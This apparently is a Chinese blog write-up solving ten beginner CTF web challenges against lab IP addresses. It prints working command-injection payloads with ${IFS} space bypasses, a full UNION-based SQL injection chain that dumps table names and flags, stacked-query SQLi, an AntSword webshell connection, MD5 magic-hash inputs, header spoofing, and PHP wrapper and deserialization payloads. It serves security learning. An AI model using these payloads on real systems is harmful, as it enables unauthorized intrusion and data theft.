2022/7/28
1.[SWPUCTF 2021 新生赛]babyrce
1.打开界面后首先看界面给出的提示,要求cookie型数据admin=1,使用bp抓包(或者直接使用hackbar传输)

2.在重发器内选择参数,添加cookie类型数据admin,值为1

3.得到一个新的php,访问后是一段代码

4.代码审计
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
if (isset($_GET['url']))为判断URL是否为空
$ip=$_GET['url']为把URL赋值给IP
if(preg_match("/ /", $ip))为判断IP(即URL)中是否有/ /,如有,直接退出
echo为打印字符
5.绕过空格
1.14.71.254:28312/rasalghul.php?url=ls${IFS}/
6.出现flllllaaaaaaggggggg,传入命令
1.14.71.254:28312/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg
7.得到flag

2.[第五空间 2021]WebFTP
1.尝试了一下SQL注入,但是没有找到注入点,看了一下WP得知是直接访问phpinfo.php
1.14.71.254:28130/phpinfo.php
2.找到flag

3.[SWPUCTF 2021 新生赛]gift_F12
1.直接访问界面源码,得flag

4.[SWPUCTF 2021 新生赛]caidao
1.进入环境后就给出了一个语句提示

2.查了一下,@eval($_POST这个东西叫做一句话木马,可以用来修改数据库,再根据题目,猜测就是用蚁剑连一下,密码就是post的内容:wllm,连接后右键文件管理

3.在/文件夹下找到名为flag的文件,就是flag

5.[SWPUCTF 2021 新生赛]jicao
1.打开环境,得到一段代码

2.主要的就是这段:if ($id"wllmNB"&&$json['x']"wllm"),返回flag的条件为:post传输id=wllmNB,get传输json={"x":"wllm"},使用hackbar

3.得到flag
6.[SWPUCTF 2021 新生赛]easy_md5
1.打开环境,得到一段代码

2.代码审计
第一层:if (isset($_GET['name']) && isset($_POST['password']))为判断name和password是否为空,第二层:if ($name != $password && md5($name) == md5($password))要求name不等于password但是md5加密后两者相等,get传输name,post传输password,那就搜一下md5加密后相等的两个字符串,搜到了一个0e绕过,原理就是0e开头的字符串比较时自动转化为0,那就是0=0,返回true
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
3.使用上方的任意两个,对应方式传输数据,得到flag

7.[SWPUCTF 2021 新生赛]easy_sql
1.题目中提示,参数是wllm

2.输入参数值,测试注入点

3.字符型注入,根据回显测试闭合方式
/1.14.71.254:28077/?wllm=1abc'
4.得知为单引号

5.构造SQL语句,查位数
1.14.71.254:28077/?wllm=1' order by 4 --+
6.输入为4时报错,3时正常,得知为3

7.判断具体位置
1.14.71.254:28077/?wllm=-1' union select 1,2,3 --+
得知1的位置并不显示

8.2和3随便选一个位置进行注入,查表名
1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3 --+

9.一看test_tb就是flag所在的表,查列名
1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'test_tb'),3 --+

10.进到flag列中,找到flag
1.14.71.254:28077/?wllm=-1' union select 1,(select group_concat(flag) from test_tb),3 --+

8.[suctf 2019]EasySQL
1.得到一个输入框,根据题目,大部分可能是SQL,随便输一下

2.输入1时显示

2.两种解法:
1)最简单的:*,1

2):1;set sql_mode=PIPES_AS_CONCAT;select 1

9.[SWPUCTF 2021 新生赛]Do_you_know_http
1.进入环境,提示用户参数使用wllm

2.bp抓包,在bp上便于修改,将User-Agent后面的参数改为WLLM
22.cnblogs.com/blog/2629165/202207/2629165-20220728172102032-1583736856.jpg)
3.bp显示进入到了一个新的php中:a.php,访问一下

4.要求了位置,添加一下X-Forwarded-For:参数,会回显一个secretttt.php,访问后就得到flag

10.[ZJCTF 2019]NiZhuanSiWei
1.得到一段代码,代码审计
第一个if:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
意思就是text不为空,且内容为welcome to the zjctf
第二个if:
if(preg_match("/flag/",$file))
判断在file中能否找到flag,如找到,直接退出
2.把welcome to the zjctf base64加密一下,防止传输出现错误,构造payload绕过第一层
1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

3.构造payload,绕过第二层的查找flag,并且访问useless.php,得到一段base64
1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

4.解码后得到一段php代码

5.序列化,得到的就是password的值
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
6.构造payload绕过第三层,访问flag
1.14.71.254:28759/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
7.得到新回显,访问源码,得到flag


浙公网安备 33010602011771号